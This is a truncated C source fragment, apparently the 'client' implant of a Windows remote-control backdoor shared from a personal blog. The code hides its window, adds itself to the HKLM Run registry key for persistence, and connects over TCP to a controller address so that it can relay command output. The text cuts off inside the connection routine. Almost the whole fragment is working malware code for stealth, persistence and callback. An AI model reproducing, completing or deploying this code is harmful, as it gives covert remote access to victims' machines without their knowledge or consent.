Client:
#include <stdio.h>
#include <Windows.h>
#define SEND_BUFF_SIZE 2048
/* interfAcer */
/*欢迎访问我的csdn blog http://blog.youkuaiyun.com/nibiru_holmes*/
//实现去除执行结果中的 命令字符串+using namespace std;
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"User32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
SOCKET s;
void Reg() {
TCHAR pFileName[MAX_PATH] = "HGH";
HKEY hWrite;
DWORD dw = GetModuleFileName(NULL, pFileName, MAX_PATH);
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, &hWrite, &dw);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hWrite);
RegSetValueEx(hWrite, "Nibiru Holmes", 0, REG_SZ, (const PBYTE)pFileName, (strlen(pFileName) + 1) * sizeof(TCHAR));
}
void print(char *cmdstr)
{
while (*((char*)cmdstr++) != '\n');
printf(cmdstr);
}
/*int Connect() {
int length = 0;
int flag = 0;
WSADATA wsData;
WSAStartup(MAKEWORD(2, 2), &wsData);
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sockaddr.sin_port = htons(1000);
if (!connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR))) {
flag = 1;
printf("connected");
}
// if (send(s, check, strlen(check) + sizeof(char), NULL)) { flag = 1; }
return flag;
}*/
int Connect()
{
int length = 0;
int flag = 0;
WSADATA wsData;
WSAStartup(MAKEWORD(2, 2), &wsData);
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
char check[7] = {"nibiru"};
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); // 115